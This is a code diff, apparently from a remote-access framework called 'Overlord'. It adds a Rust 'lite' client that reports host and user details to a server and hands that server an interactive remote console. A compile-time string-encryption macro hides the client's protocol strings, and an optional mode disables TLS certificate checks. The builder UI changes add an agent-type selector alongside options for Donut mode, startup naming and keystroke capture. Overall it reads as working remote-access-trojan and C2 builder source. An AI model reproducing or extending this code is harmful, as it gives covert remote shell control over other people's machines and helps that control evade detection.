static FIELD_COMMAND_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("commandType"));
static FIELD_COMMAND_VERSION: LazyLock<String> = LazyLock::new(|| obfstr!("commandVersion"));
static FIELD_PAYLOAD: LazyLock<String> = LazyLock::new(|| obfstr!("payload"));
static FIELD_SESSION_ID: LazyLock<String> = LazyLock::new(|| obfstr!("sessionId"));
static FIELD_DATA: LazyLock<String> = LazyLock::new(|| obfstr!("data"));
static FIELD_COLS: LazyLock<String> = LazyLock::new(|| obfstr!("cols"));
static FIELD_ROWS: LazyLock<String> = LazyLock::new(|| obfstr!("rows"));
static FIELD_TS: LazyLock<String> = LazyLock::new(|| obfstr!("ts"));
static ENROLLMENT_CHALLENGE: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_challenge"));
static ENROLLMENT_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_status"));
static HELLO: LazyLock<String> = LazyLock::new(|| obfstr!("hello"));
static HELLO_ACK: LazyLock<String> = LazyLock::new(|| obfstr!("hello_ack"));
static PING: LazyLock<String> = LazyLock::new(|| obfstr!("ping"));
static PONG: LazyLock<String> = LazyLock::new(|| obfstr!("pong"));
static COMMAND: LazyLock<String> = LazyLock::new(|| obfstr!("command"));
static COMMAND_RESULT: LazyLock<String> = LazyLock::new(|| obfstr!("command_result"));
static CONSOLE_START: LazyLock<String> = LazyLock::new(|| obfstr!("console_start"));
static CONSOLE_INPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_input"));
static CONSOLE_RESIZE: LazyLock<String> = LazyLock::new(|| obfstr!("console_resize"));
static CONSOLE_STOP: LazyLock<String> = LazyLock::new(|| obfstr!("console_stop"));
static CLIENT_VERSION: LazyLock<String> =
LazyLock::new(|| format!("{}{}", obfstr!("rust-lite/"), env!("CARGO_PKG_VERSION")));
pub async fn run(config: &Config, identity: &Identity, server: &ServerUrl) -> Result<()> {
let socket_url = format!(
"{}{}{}{}?{}",
server.as_str().trim_end_matches('/'),
API_CLIENTS_PREFIX.as_str(),
identity.client_id,
STREAM_WS_SUFFIX.as_str(),
ROLE_CLIENT.as_str(),
);
let mut request = socket_url.into_client_request()?;
request.headers_mut().insert(
HeaderName::from_bytes(WEBSOCKET_PROTOCOL_HEADER.as_bytes())?,
HeaderValue::from_str(BINARY_PROTOCOL.as_str())?,
);
if let Some(token) = &config.agent_token {
request.headers_mut().insert(
HeaderName::from_bytes(AGENT_TOKEN_HEADER.as_bytes())?,
HeaderValue::from_str(token)?,
);
}
let connector = tls::websocket_connector(config.insecure_tls, &config.tls_spki_pins);
let (mut socket, _) = connect_async_tls_with_config(request, None, true, connector)
.await
.with_context(|| format!("connect to {server}"))?;
let first = tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
.await
.context("timed out waiting for enrollment challenge")??;
let first_type = protocol::required_string(&first, FIELD_TYPE.as_str())?;
let (public_key, signature, needs_ack) = if first_type == ENROLLMENT_CHALLENGE.as_str() {
let nonce = protocol::required_string(&first, FIELD_NONCE.as_str())?;
(
identity.public_key_base64(),
identity.sign_base64(nonce)?,
true,
)
} else if first_type == HELLO_ACK.as_str() {
(String::new(), String::new(), false)
} else {
bail!("unexpected first server message {first_type:?}")
};
let hello = Hello {
message_type: HELLO.as_str(),
id: &identity.client_id,
hwid: &identity.client_id,
host: hostname(),
os: wire_os(),
arch: wire_arch(),
version: CLIENT_VERSION.as_str(),
user: username(),
monitors: 0,
build_tag: config.build_tag.as_deref(),
public_key: &public_key,
signature: &signature,
protocol_version: protocol::WIRE_PROTOCOL_VERSION,
command_versions: protocol::command_versions(),
};
send_value(&mut socket, &hello).await?;
if needs_ack {
loop {
let response =
tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
.await
.context("timed out waiting for enrollment status")??;
let response_type = protocol::required_string(&response, FIELD_TYPE.as_str())?;
if response_type == HELLO_ACK.as_str() {
break;
} else if response_type == ENROLLMENT_STATUS.as_str() {
let status =
protocol::string_field(&response, FIELD_STATUS.as_str()).unwrap_or("unknown");
bail!("enrollment status is {status}");
} else if response_type == PING.as_str() {
send_protocol_pong(&mut socket, &response).await?;
} else if response_type != PONG.as_str() {
bail!("unexpected enrollment response {response_type:?}");
}
}
}
eprintln!("authenticated and connected as {}", identity.client_id);
send_value(
&mut socket,
&Ping {
message_type: PING.as_str(),
ts: now_millis(),
},
)
.await?;
let mut heartbeat =
tokio::time::interval(config.heartbeat_interval.max(Duration::from_secs(1)));
heartbeat.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
heartbeat.tick().await;
let (console_tx, mut console_rx) = tokio::sync::mpsc::channel(64);
let mut consoles = ConsoleHub::new(console_tx);
loop {
tokio::select! {
_ = heartbeat.tick() => {
send_value(&mut socket, &Ping { message_type: PING.as_str(), ts: now_millis() }).await?;
}
incoming = socket.next() => {
let message = incoming.ok_or_else(|| anyhow!("server closed the WebSocket"))??;
match message {
Message::Binary(bytes) => {
let envelope = protocol::decode(&bytes)?;
handle_envelope(&mut socket, &mut consoles, &envelope).await?;
}
Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
Message::Pong(_) => {}
Message::Close(frame) => bail!("server closed the session: {frame:?}"),
Message::Text(_) | Message::Frame(_) => {}
}
}
output = console_rx.recv() => {
if let Some(output) = output {
socket.send(Message::Binary(output.into())).await?;
}
}
}
}
}
async fn handle_envelope(
socket: &mut Socket,
consoles: &mut ConsoleHub,
envelope: &Value,
) -> Result<()> {
let message_type = protocol::required_string(envelope, FIELD_TYPE.as_str())?;
if message_type == PING.as_str() {
send_protocol_pong(socket, envelope).await?;
} else if message_type == COMMAND.as_str() {
handle_command(socket, consoles, envelope).await?;
} else if message_type != PONG.as_str() && message_type != HELLO_ACK.as_str() {
eprintln!("ignoring unsupported server message {message_type}");
}
Ok(())
}
async fn handle_command(
socket: &mut Socket,
consoles: &mut ConsoleHub,
envelope: &Value,
) -> Result<()> {
let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
if !is_console_command(command) {
return send_unsupported_command(socket, envelope).await;
}
let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
let command_version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
.unwrap_or(1)
.max(1) as u16;
if command_version != 1 {
return send_command_result(
socket,
command_id,
command,
command_version,
false,
Some("unsupported console command version"),
Some("unsupported_command_version"),
)
.await;
}
let payload = protocol::field(envelope, FIELD_PAYLOAD.as_str()).unwrap_or(&Value::Nil);
let session_id = protocol::string_field(payload, FIELD_SESSION_ID.as_str()).unwrap_or("");
let result = if command == CONSOLE_START.as_str() {
consoles.start(
session_id,
protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
)
} else if command == CONSOLE_INPUT.as_str() {
if session_id.is_empty() {
Ok(())
} else {
let data = protocol::string_field(payload, FIELD_DATA.as_str()).unwrap_or("");
consoles.write(session_id, data)
}
} else if command == CONSOLE_RESIZE.as_str() {
if session_id.is_empty() {
Ok(())
} else {
consoles.resize(
session_id,
protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
)
}
} else {
if !session_id.is_empty() {
consoles.stop(session_id);
}
Ok(())
};
match result {
Ok(()) => send_command_result(socket, command_id, command, 1, true, None, None).await,
Err(error) => {
let message = error.to_string();
send_command_result(
socket,
command_id,
command,
1,
false,
Some(&message),
Some("console_error"),
)
.await
}
}
}
async fn send_command_result(
socket: &mut Socket,
command_id: &str,
command_type: &str,
command_version: u16,
ok: bool,
message: Option<&str>,
error_code: Option<&str>,
) -> Result<()> {
send_value(
socket,
&CommandResult {
message_type: COMMAND_RESULT.as_str(),
command_id,
command_type,
command_version,
ok,
message,
error_code,
},
)
.await
}
async fn send_unsupported_command(socket: &mut Socket, envelope: &Value) -> Result<()> {
let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
let version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
.unwrap_or(1)
.max(1) as u16;
send_value(
socket,
&CommandResult {
message_type: COMMAND_RESULT.as_str(),
command_id,
command_type: command,
command_version: version,
ok: false,
message: Some("command is not supported by Overlord Lite"),
error_code: Some("unsupported_command"),
},
)
.await
}
async fn receive_envelope(socket: &mut Socket) -> Result<Value> {
loop {
match socket
.next()
.await
.ok_or_else(|| anyhow!("server closed the WebSocket"))??
{
Message::Binary(bytes) => return protocol::decode(&bytes),
Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
Message::Pong(_) | Message::Text(_) | Message::Frame(_) => {}
Message::Close(frame) => bail!("server closed the session: {frame:?}"),
}
}
}
async fn send_value<T: serde::Serialize>(socket: &mut Socket, value: &T) -> Result<()> {
socket
.send(Message::Binary(protocol::encode(value)?.into()))
.await?;
Ok(())
}
async fn send_protocol_pong(socket: &mut Socket, incoming: &Value) -> Result<()> {
send_value(
socket,
&Ping {
message_type: PONG.as_str(),
ts: protocol::integer_field(incoming, FIELD_TS.as_str()).unwrap_or_else(now_millis),
},
)
.await
}
fn is_console_command(command: &str) -> bool {
command == CONSOLE_START.as_str()
|| command == CONSOLE_INPUT.as_str()
|| command == CONSOLE_RESIZE.as_str()
|| command == CONSOLE_STOP.as_str()
}
fn hostname() -> String {
std::env::var(if cfg!(windows) {
"COMPUTERNAME"
} else {
"HOSTNAME"
})
.ok()
.filter(|value| !value.trim().is_empty())
.unwrap_or_else(|| "unknown".to_owned())
}
fn username() -> String {
std::env::var(if cfg!(windows) { "USERNAME" } else { "USER" })
.ok()
.filter(|value| !value.trim().is_empty())
.unwrap_or_else(|| "unknown".to_owned())
}
fn wire_os() -> &'static str {
match std::env::consts::OS {
"macos" => "darwin",
other => other,
}
}
fn wire_arch() -> &'static str {
match std::env::consts::ARCH {
"x86_64" => "amd64",
"aarch64" => "arm64",
"x86" => "386",
other => other,
}
}
fn now_millis() -> i64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_millis() as i64
}
#[cfg(test)]
mod tests {
use super::*;
use base64::{Engine as _, engine::general_purpose::STANDARD};
use ed25519_dalek::{Signature, VerifyingKey};
use tempfile::tempdir;
use tokio::net::TcpListener;
use tokio_tungstenite::accept_hdr_async;
#[tokio::test]
#[allow(clippy::result_large_err)] // Required by tungstenite's handshake callback signature.
async fn authenticates_and_advertises_console_commands() {
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let address = listener.local_addr().unwrap();
let state = tempdir().unwrap();
let identity = Identity::load_or_create(state.path()).unwrap();
let server_url = ServerUrl::parse(&format!("ws://{address}")).unwrap();
let config = Config {
servers: vec![server_url.clone()],
agent_token: Some("test-agent-token".to_owned()),
build_tag: Some("test-build-tag".to_owned()),
insecure_tls: true,
tls_spki_pins: Vec::new(),
state_dir: state.path().to_owned(),
reconnect_delay: Duration::from_millis(1),
heartbeat_interval: Duration::from_secs(60),
};
let expected_client_id = identity.client_id.clone();
let mock_server = tokio::spawn(async move {
let (tcp, _) = listener.accept().await.unwrap();
let mut socket = accept_hdr_async(tcp, |request: &tokio_tungstenite::tungstenite::handshake::server::Request, mut response: tokio_tungstenite::tungstenite::handshake::server::Response| {
assert_eq!(request.headers()["x-agent-token"], "test-agent-token");
assert!(request.uri().path().contains(&expected_client_id));
response.headers_mut().insert("Sec-WebSocket-Protocol", HeaderValue::from_static("binary"));
Ok(response)
}).await.unwrap();
let nonce = [7u8; 32];
let challenge = serde_json::json!({ "type": "enrollment_challenge", "nonce": STANDARD.encode(nonce) });
socket
.send(Message::Binary(
protocol::encode(&challenge).unwrap().into(),
))
.await
.unwrap();
let Message::Binary(hello_bytes) = socket.next().await.unwrap().unwrap() else {
panic!("expected binary hello")
};
let hello = protocol::decode(&hello_bytes).unwrap();
assert_eq!(protocol::string_field(&hello, "type"), Some("hello"));
assert_eq!(
protocol::string_field(&hello, "buildTag"),
Some("test-build-tag")
);
assert_eq!(
protocol::string_field(&hello, "version"),
Some(concat!("rust-lite/", env!("CARGO_PKG_VERSION")))
);
let command_versions = protocol::field(&hello, "commandVersions")
.unwrap()
.as_map()
.unwrap();
assert_eq!(command_versions.len(), 4);
for command in [
"console_input",
"console_resize",
"console_start",
"console_stop",
] {
assert!(
command_versions
.iter()
.any(|(key, _)| key.as_str() == Some(command))
);
}
let public_key: [u8; 32] = STANDARD
.decode(protocol::required_string(&hello, "publicKey").unwrap())
.unwrap()
.try_into()
.unwrap();
let signature = Signature::from_slice(
&STANDARD
.decode(protocol::required_string(&hello, "signature").unwrap())
.unwrap(),
)
.unwrap();
VerifyingKey::from_bytes(&public_key)
.unwrap()
.verify_strict(&nonce, &signature)
.unwrap();
let ack = serde_json::json!({ "type": "hello_ack", "id": expected_client_id, "protocolVersion": 1 });
socket
.send(Message::Binary(protocol::encode(&ack).unwrap().into()))
.await
.unwrap();
let Message::Binary(ping_bytes) = socket.next().await.unwrap().unwrap() else {
panic!("expected initial ping")
};
assert_eq!(
protocol::string_field(&protocol::decode(&ping_bytes).unwrap(), "type"),
Some("ping")
);
socket.close(None).await.unwrap();
});
assert!(run(&config, &identity, &server_url).await.is_err());
mock_server.await.unwrap();
}
}
+259
View File
@@ -0,0 +1,259 @@
use std::{fmt::Debug, sync::Arc};
use base64::{Engine as _, engine::general_purpose::STANDARD};
use rustls::{
ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme,
client::{
WebPkiServerVerifier,
danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier},
},
crypto::CryptoProvider,
pki_types::{CertificateDer, ServerName, UnixTime},
};
use sha2::{Digest, Sha256};
use tokio_tungstenite::Connector;
pub fn websocket_connector(insecure: bool, pins: &[[u8; 32]]) -> Option<Connector> {
custom_client_config(insecure, pins).map(|config| Connector::Rustls(Arc::new(config)))
}
fn custom_client_config(insecure: bool, pins: &[[u8; 32]]) -> Option<ClientConfig> {
if !insecure && pins.is_empty() {
return None;
}
let provider = Arc::new(rustls::crypto::ring::default_provider());
let verifier: Arc<dyn ServerCertVerifier> = if insecure {
Arc::new(NoCertificateVerification {
provider: provider.clone(),
})
} else {
Arc::new(PinnedCertificateVerification {
pins: pins.to_vec(),
provider: provider.clone(),
})
};
Some(
ClientConfig::builder_with_provider(provider)
.with_safe_default_protocol_versions()
.expect("ring supports the default TLS protocol versions")
.dangerous()
.with_custom_certificate_verifier(verifier)
.with_no_client_auth(),
)
}
#[derive(Debug)]
struct PinnedCertificateVerification {
pins: Vec<[u8; 32]>,
provider: Arc<CryptoProvider>,
}
impl ServerCertVerifier for PinnedCertificateVerification {
fn verify_server_cert(
&self,
end_entity: &CertificateDer<'_>,
intermediates: &[CertificateDer<'_>],
server_name: &ServerName<'_>,
ocsp_response: &[u8],
now: UnixTime,
) -> Result<ServerCertVerified, rustls::Error> {
let spki = certificate_spki(end_entity.as_ref()).ok_or_else(|| {
rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding)
})?;
let actual = Sha256::digest(spki);
if !self.pins.iter().any(|expected| expected[..] == actual[..]) {
return Err(rustls::Error::General(format!(
"TLS server identity pin mismatch (received sha256/{})",
STANDARD.encode(actual),
)));
}
// The pin makes this exact public key the trust anchor. Delegating the
// rest to webpki retains certificate time, name, purpose, and encoding
// checks instead of turning verification off for self-signed servers.
let mut roots = RootCertStore::empty();
roots.add(end_entity.clone())?;
let verifier =
WebPkiServerVerifier::builder_with_provider(Arc::new(roots), self.provider.clone())
.build()
.map_err(|error| {
rustls::Error::General(format!("build pinned TLS verifier: {error}"))
})?;
verifier.verify_server_cert(end_entity, intermediates, server_name, ocsp_response, now)
}
fn verify_tls12_signature(
&self,
message: &[u8],
cert: &CertificateDer<'_>,
dss: &DigitallySignedStruct,
) -> Result<HandshakeSignatureValid, rustls::Error> {
rustls::crypto::verify_tls12_signature(
message,
cert,
dss,
&self.provider.signature_verification_algorithms,
)
}
fn verify_tls13_signature(
&self,
message: &[u8],
cert: &CertificateDer<'_>,
dss: &DigitallySignedStruct,
) -> Result<HandshakeSignatureValid, rustls::Error> {
rustls::crypto::verify_tls13_signature(
message,
cert,
dss,
&self.provider.signature_verification_algorithms,
)
}
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
self.provider
.signature_verification_algorithms
.supported_schemes()
}
}
#[derive(Debug)]
struct NoCertificateVerification {
provider: Arc<CryptoProvider>,
}
impl ServerCertVerifier for NoCertificateVerification {
fn verify_server_cert(
&self,
_end_entity: &CertificateDer<'_>,
_intermediates: &[CertificateDer<'_>],
_server_name: &ServerName<'_>,
_ocsp_response: &[u8],
_now: UnixTime,
) -> Result<ServerCertVerified, rustls::Error> {
Ok(ServerCertVerified::assertion())
}
fn verify_tls12_signature(
&self,
message: &[u8],
cert: &CertificateDer<'_>,
dss: &DigitallySignedStruct,
) -> Result<HandshakeSignatureValid, rustls::Error> {
rustls::crypto::verify_tls12_signature(
message,
cert,
dss,
&self.provider.signature_verification_algorithms,
)
}
fn verify_tls13_signature(
&self,
message: &[u8],
cert: &CertificateDer<'_>,
dss: &DigitallySignedStruct,
) -> Result<HandshakeSignatureValid, rustls::Error> {
rustls::crypto::verify_tls13_signature(
message,
cert,
dss,
&self.provider.signature_verification_algorithms,
)
}
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
self.provider
.signature_verification_algorithms
.supported_schemes()
}
}
struct DerElement<'a> {
tag: u8,
full: &'a [u8],
content: &'a [u8],
rest: &'a [u8],
}
fn der_element(input: &[u8]) -> Option<DerElement<'_>> {
let tag = *input.first()?;
let first_length = *input.get(1)?;
let (header_length, content_length) = if first_length & 0x80 == 0 {
(2, usize::from(first_length))
} else {
let length_bytes = usize::from(first_length & 0x7f);
if length_bytes == 0 || length_bytes > std::mem::size_of::<usize>() {
return None;
}
let bytes = input.get(2..2 + length_bytes)?;
if bytes.first() == Some(&0) {
return None;
}
let mut length = 0usize;
for byte in bytes {
length = length.checked_mul(256)?.checked_add(usize::from(*byte))?;
}
if length < 128 {
return None;
}
(2 + length_bytes, length)
};
let total_length = header_length.checked_add(content_length)?;
let full = input.get(..total_length)?;
Some(DerElement {
tag,
full,
content: &full[header_length..],
rest: &input[total_length..],
})
}
fn certificate_spki(certificate: &[u8]) -> Option<&[u8]> {
let certificate = der_element(certificate)?;
if certificate.tag != 0x30 || !certificate.rest.is_empty() {
return None;
}
let tbs = der_element(certificate.content)?;
if tbs.tag != 0x30 {
return None;
}
let mut fields = tbs.content;
let first = der_element(fields)?;
if first.tag == 0xa0 {
fields = first.rest;
}
// serialNumber, signature, issuer, validity, and subject precede SPKI.
for _ in 0..5 {
fields = der_element(fields)?.rest;
}
let spki = der_element(fields)?;
(spki.tag == 0x30).then_some(spki.full)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn extracts_complete_spki_der_from_certificate() {
let certificate = [
0x30, 0x17, // Certificate sequence
0x30, 0x15, // TBSCertificate sequence
0xa0, 0x03, 0x02, 0x01, 0x02, // version
0x02, 0x01, 0x01, // serial number
0x30, 0x00, // signature
0x30, 0x00, // issuer
0x30, 0x00, // validity
0x30, 0x00, // subject
0x30, 0x03, 0x01, 0x01, 0xff, // SPKI
];
assert_eq!(
certificate_spki(&certificate),
Some(&certificate[20..25][..])
);
assert_eq!(certificate_spki(&certificate[..24]), None);
}
}
@@ -0,0 +1,13 @@
[package]
name = "overlord-lite-string-obfuscator"
version = "0.1.0"
edition = "2024"
publish = false
[lib]
proc-macro = true
[dependencies]
proc-macro2 = "1.0"
quote = "1.0"
syn = { version = "2.0", features = ["parsing"] }
@@ -0,0 +1,61 @@
use std::{
hash::{Hash, Hasher},
sync::atomic::{AtomicU64, Ordering},
time::{SystemTime, UNIX_EPOCH},
};
use proc_macro::TokenStream;
use quote::quote;
use syn::{LitStr, parse_macro_input};
static INVOCATION: AtomicU64 = AtomicU64::new(1);
/// Encrypts one UTF-8 string literal while the crate is being compiled and
/// expands to an expression that decrypts it only when evaluated at runtime.
#[proc_macro]
pub fn obfstr(input: TokenStream) -> TokenStream {
let literal = parse_macro_input!(input as LitStr);
let plaintext = literal.value();
let seed = invocation_seed(&plaintext);
let encrypted = crypt(plaintext.as_bytes(), seed);
let bytes = encrypted.iter();
quote!({
const ENCRYPTED: &[u8] = &[#(#bytes),*];
::overlord_lite::obfuscation::decrypt(ENCRYPTED, #seed)
})
.into()
}
fn invocation_seed(value: &str) -> u64 {
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_nanos() as u64;
let invocation = INVOCATION.fetch_add(1, Ordering::Relaxed);
let mut hasher = std::collections::hash_map::DefaultHasher::new();
value.hash(&mut hasher);
timestamp.hash(&mut hasher);
invocation.hash(&mut hasher);
std::process::id().hash(&mut hasher);
normalize_seed(hasher.finish())
}
fn crypt(input: &[u8], seed: u64) -> Vec<u8> {
let mut state = normalize_seed(seed);
input
.iter()
.map(|byte| byte ^ next_key_byte(&mut state))
.collect()
}
fn normalize_seed(seed: u64) -> u64 {
seed | 1
}
fn next_key_byte(state: &mut u64) -> u8 {
*state ^= *state >> 12;
*state ^= *state << 25;
*state ^= *state >> 27;
(state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
}
+99 -5
View File
@@ -14,6 +14,8 @@ const form = document.getElementById("build-form");
const buildBtn = document.getElementById("build-btn");
const buildStatus = document.getElementById("build-status");
const buildStatusText = document.getElementById("build-status-text");
const buildProgressTrack = document.getElementById("build-progress-track");
const buildProgressBar = document.getElementById("build-progress-bar");
const buildOutputDiv = document.getElementById("build-output");
const buildOutputContainer = document.getElementById("build-output-container");
const buildLogIssueCount = document.getElementById("build-log-issue-count");
@@ -59,6 +61,8 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
const buildPluginsSection = document.getElementById("build-plugins-section");
const buildPluginsList = document.getElementById("build-plugins-list");
const buildPluginsCount = document.getElementById("build-plugins-count");
const buildProviderSelect = document.getElementById("build-provider");
const buildProviderDescription = document.getElementById("build-provider-description");
const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
const macosSdkFileInput = document.getElementById("macos-sdk-file");
const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
@@ -88,6 +92,7 @@ async function loadMacosSdkStatus() {
}
function needsMacosSdkUpload() {
if (buildProviderSelect?.value) return false;
const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
.some((input) => input.value.startsWith("darwin-"));
return macosSdkRequiredForDarwinCgo && hasDarwin && !document.querySelector('input[name="disable-cgo"]')?.checked;
@@ -231,6 +236,20 @@ let isBuilding = false;
const BUILD_LOG_MAX_VISIBLE_LINES = 5000;
const BUILD_LOG_WRAP_KEY = "overlord.buildLog.wrap.v1";
let buildLogRawChunks = [];
function updateBuildProgress(progress) {
const value = Number(progress);
const visible = progress !== null && progress !== undefined && Number.isFinite(value);
buildProgressTrack?.classList.toggle("hidden", !visible);
if (!visible) {
if (buildProgressBar) buildProgressBar.style.width = "0%";
buildProgressTrack?.removeAttribute("aria-valuenow");
return;
}
const clamped = Math.max(0, Math.min(100, value));
if (buildProgressBar) buildProgressBar.style.width = `${clamped}%`;
buildProgressTrack?.setAttribute("aria-valuenow", String(Math.round(clamped)));
}
let buildLogLineCount = 0;
let buildLogIssueTotal = 0;
let buildLogFollow = true;
@@ -476,8 +495,64 @@ function collectBuildPluginSettings() {
return result;
}
function selectedBuildProviderPlugin() {
const id = buildProviderSelect?.value || "";
return id ? buildPlugins.find((plugin) => plugin.id === id && plugin.build?.provider) : null;
}
function updateBuildProviderUi() {
const provider = selectedBuildProviderPlugin();
const supported = provider ? new Set(provider.build.provider.platforms || []) : null;
for (const input of document.querySelectorAll('input[name="platform"]')) {
const allowed = !supported || supported.has(input.value);
input.disabled = !allowed;
input.closest("label")?.classList.toggle("opacity-40", !allowed);
if (!allowed) input.checked = false;
}
if (provider && !document.querySelector('input[name="platform"]:checked:not(:disabled)')) {
const first = document.querySelector('input[name="platform"]:not(:disabled)');
if (first) first.checked = true;
}
if (provider) {
if (buildProviderDescription) {
buildProviderDescription.textContent = provider.build.provider.description
|| provider.build.description
|| `Uses the ${provider.name || provider.id} build provider.`;
}
const enabled = document.querySelector(`[data-build-plugin-enable="${provider.id}"]`);
if (enabled) enabled.checked = true;
} else if (buildProviderDescription) {
buildProviderDescription.textContent = "Uses the built-in full-featured Go client builder.";
}
updateWindowsSectionVisibility();
updateMacosSdkVisibility();
}
function renderBuildProviders() {
if (!buildProviderSelect) return;
const selected = buildProviderSelect.value;
buildProviderSelect.innerHTML = '<option value="">Full Go Agent</option>';
for (const plugin of buildPlugins) {
if (!plugin.build?.provider || plugin.enabled === false) continue;
const option = document.createElement("option");
option.value = plugin.id;
option.textContent = plugin.build.provider.label || plugin.build.label || plugin.name || plugin.id;
buildProviderSelect.appendChild(option);
}
if (Array.from(buildProviderSelect.options).some((option) => option.value === selected)) {
buildProviderSelect.value = selected;
}
updateBuildProviderUi();
}
buildProviderSelect?.addEventListener("change", () => {
updateBuildProviderUi();
saveFormSettings();
});
function setBuildField(field, value) {
const fieldMap = {
buildProvider: "#build-provider",
useDonut: "#donut-mode",
donutSingleThreaded: "#donut-single-threaded",
donutExitMode: "#donut-exit-mode",
@@ -738,9 +813,17 @@ async function loadBuildPlugins() {
const data = await res.json();
buildPlugins = Array.isArray(data.plugins) ? data.plugins : [];
renderBuildPlugins();
renderBuildProviders();
try {
const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins);
if (raw) {
const saved = JSON.parse(raw);
applyBuildPluginSettings(saved.buildPlugins);
if (buildProviderSelect && typeof saved.buildProvider === "string") {
buildProviderSelect.value = saved.buildProvider;
updateBuildProviderUi();
}
}
} catch {}
} catch (err) {
console.warn("Failed to load build plugins:", err);
@@ -751,6 +834,7 @@ const BUILD_SETTINGS_KEY = "overlord_build_settings";
function collectFormSettings() {
return {
buildProvider: buildProviderSelect?.value || "",
platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
serverUrl: document.getElementById("server-url")?.value ?? "",
rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
@@ -819,6 +903,11 @@ function applyFormSettings(settings) {
if (el && val !== undefined) el.checked = !!val;
};
if (settings.buildProvider !== undefined && buildProviderSelect) {
buildProviderSelect.value = String(settings.buildProvider || "");
updateBuildProviderUi();
}
if (Array.isArray(settings.platforms)) {
settings.platforms.forEach(({ value, checked }) => {
const el = document.querySelector(`input[name="platform"][value="${value}"]`);
@@ -2025,7 +2114,7 @@ form?.addEventListener("submit", async (e) => {
if (isBuilding) return;
const platformCheckboxes = form.querySelectorAll(
'input[name="platform"]:checked',
'input[name="platform"]:checked:not(:disabled)',
);
const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
@@ -2034,12 +2123,12 @@ form?.addEventListener("submit", async (e) => {
return;
}
if (!validateStartupName()) {
if (!buildProviderSelect?.value && !validateStartupName()) {
document.getElementById("startup-name")?.focus();
return;
}
if (disableCgoInput?.checked && !confirm(
if (!buildProviderSelect?.value && disableCgoInput?.checked && !confirm(
"CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?"
)) {
disableCgoInput.focus();
@@ -2108,6 +2197,7 @@ form?.addEventListener("submit", async (e) => {
const buildConfig = {
platforms,
buildProvider: buildProviderSelect?.value || undefined,
serverUrl: serverUrl || undefined,
rawServerList,
solMemo: document.getElementById("sol-memo")?.checked || false,
@@ -2235,6 +2325,7 @@ async function startBuild(config) {
revealElement(buildStatus, { duration: 220, offset: 6 });
buildStatusText.textContent = "Starting build...";
updateBuildProgress(null);
buildStatus.querySelector("div").className =
"flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
@@ -2277,13 +2368,14 @@ async function startBuild(config) {
await streamBuildOutput(buildId, config);
} catch (err) {
addBuildOutput(`\nERROR: ${err.message}\n`, "error");
if (!config.disableCgo) {
if (!config.buildProvider && !config.disableCgo) {
addBuildOutput(
"Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n",
"warn",
);
}
buildStatusText.textContent = "Build failed";
updateBuildProgress(null);
buildStatus.querySelector("div").className =
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
@@ -2429,6 +2521,7 @@ async function streamBuildOutput(buildId, config = {}) {
addBuildOutput(data.text, data.level || "info");
} else if (data.type === "status") {
buildStatusText.textContent = data.text;
updateBuildProgress(data.progress);
} else if (data.type === "file_share_uploaded") {
uploadedShareFiles.push({
id: data.id,
@@ -2437,6 +2530,7 @@ async function streamBuildOutput(buildId, config = {}) {
size: data.size,
});
} else if (data.type === "complete") {
updateBuildProgress(data.success ? 100 : null);
buildStatusText.textContent = data.success
? "Build completed successfully!"
: "Build failed";
+21 -1
View File
@@ -443,6 +443,21 @@
</div>
<input type="file" id="profile-import-file" accept="application/json,.json" class="hidden" />
<div class="border border-slate-800 rounded-lg bg-slate-900/40 p-4" data-builder-panel="target">
<label for="build-provider" class="flex flex-col gap-2">
<span class="text-sm font-medium text-slate-200 flex items-center gap-2">
<i class="fa-solid fa-cubes text-fuchsia-400"></i> Agent Type
</span>
<select id="build-provider"
